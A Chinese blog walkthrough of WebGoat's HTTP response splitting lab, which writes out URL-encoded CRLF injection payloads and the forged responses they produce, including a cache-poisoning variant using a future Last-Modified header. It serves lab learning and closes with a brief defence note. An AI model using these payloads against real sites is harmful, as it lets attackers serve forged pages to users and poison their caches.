WebGoat之Http Splitting攻击

攻击效果与目标

HTTP应答拆分攻击的效果会使用户接收不到正确的服务器回发的信息,而是接收错误的经过伪装的信息,比如挂了马的网页、含有垃圾信息的网页等。采用的是攻击服务器的缓存,所以并不是针对Http服务器的攻击,而是针对具体用户的攻击。

攻击原理

HTTP请求是基于“请求-响应”的请求,当浏览器发出请求,服务器返回响应,浏览器根据响应再发出请求,依次类推。但有一种服务器端的响应是重定位响应,相应的代码为302,当浏览器收到这个响应的时候,会重新向服务器发送get或者post请求去请求一个新的网页。

实战演练

设置浏览器代理

1
同样burpsuite也要打开8008的侦听端口:
2
这样就实现了通过burpsuite抓取浏览器的所有数据。

漏洞发现

3
这是我们在浏览器端输入“en”,点击go之后,浏览器传输给服务端的请求数据:
4
可以看到我们的参数“en”传过去了,此时的数据传到了中间代理件burpsuite中,点击forward,burpsuite将这些数据发送给真正的服务器。
再继续看服务器传过来的应答:
5
这是服务器针对这条请求传给浏览器的应答,可见是“302 Move temporarity”表示浏览器端请求的资源被重定向了,需要浏览器再次向服务器发送以后的请求。注意这里服务器传过来的Location:

http://localhost/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=en

我们之前的请求地址是:

http://localhost/WebGoat/attack?Screen=2&menu=100

可见我们在前一个页面输入的参数,作为响应被服务器传回来了。
由于这是一个302响应,当浏览器接到这个响应时,会根据收到的响应自动再发送一个请求到服务器:
6
服务器在传回其相应:
7

整个过程存在的漏洞是什么?

在url编码中,%0d和%0a分别代表回到行首和换行,加起来就是回车的作用。

攻击过程

当构造这个字符串输入的时候:

en%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0aInsert undesireable content here

传给服务器端的参数变为了:
8

服务器端的响应变成了:
9

通过解码之后,可知道这个响应实际为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 302 Moved Temporarily    
Server: Apache-Coyote/1.1
Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=en

Content-length: 0
HTTP/1.1 200 OK
Content-Type: text/html;
Content-length: 47

<html>insert undersireable content here</html>


Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Thu, 21 Apr 2016 09:45:28 GMT
Connection: close

再与正常的响应进行比较(上图5):

1
2
3
4
5
6
7
HTTP/1.1 302 Moved Temporarily    
Server: Apache-Coyote/1.1
Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=en
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Thu, 21 Apr 2016 08:54:24 GMT
Connection: close

这个响应是服务器端传给浏览器端的,这是一个重定向响应,且Content-length=0,浏览器看到这一行会认为这个重定向响应已经结束了。

此时浏览器再次发送请求到服务器:
10
注意这里它的请求地址。
最后服务器的响应:
11

需要说明的是,这是因为现在的主流Web服务器比如IIS,Apache HTTP Server以及WebGoat使用的Tomcat等等都有对这个问题作过改进,服务器会对即将发送出去的HTTP响应头里面每一项的值都会做一定的编码或者转换,以避免这个问题。比如Tomcat就响应头中的每一项的值都做过了URLEncode,从而保证即使Web应用存在HTTP应答拆分的漏洞,Web服务器上也从底层平台的角度保证了尽可能避免HTTP应答拆分漏洞带来的威胁。所以如果想要在自己的实验室环境中重现对HTTP应答拆分漏洞的成功利用,可以尝试安装比较老的Web服务器版本,比如Tomcat 4.1.24之前的版本。

缓存中毒

我们可以利用这个漏洞进一步进行缓存中毒的攻击,为了做到这一点,我们需要在前面提交的参数中,自己伪造的HTTP响应头中添加一个Last-Modified字段,并且把它的值设为一个未来的值。这样当浏览器在下次请求同一个页面的时候发送If-Modified-Since字段并且这个值是一个未来的值,服务器在发现这个值大于该页面最后修改时间之后将返回HTTP的304响应码表示该页面没有更新过,从而达到了污染受害者缓存的目的。下面就是我们希望的能够污染受害者缓存的服务器响应。我们希望得到的响应是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 302 Moved Temporarily    
Server: Apache-Coyote/1.1
Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=en

Content-length: 0
HTTP/1.1 200 OK
Content-Type: text/html;
Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT
Content-length: 19
<html>hacked<html>

Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Thu, 21 Apr 2016 09:45:28 GMT
Connection: close

从en到按照url编码,之后得到:

en%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aLast-Modified%3a+Thu%2c+01+Jan+2099+12%3a00%3a00+GMT+%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b

以上就是需要的提交的数据,造成缓存中毒了。

如何防御

防御CRLF攻击,就是检查用户输入,进行过滤。

附参考资料:

  1. 解决wireshark抓取本地包的问题

【版权声明】
本文首发于戚名钰的博客http://qimingyu.github.io/ ),欢迎转载,但是必须保留本文的署名戚名钰(包含链接)。如您有任何商业合作或者授权方面的协商,请给我留言:mingyuqi.java@qq.com
欢迎关注我的微信公众号:科技锐新

本文永久链接:http://qimingyu.github.io/2016/04/18/Webgoat之Http_Splitting攻击/

坚持原创技术分享,您的支持将鼓励我继续创作!

热评文章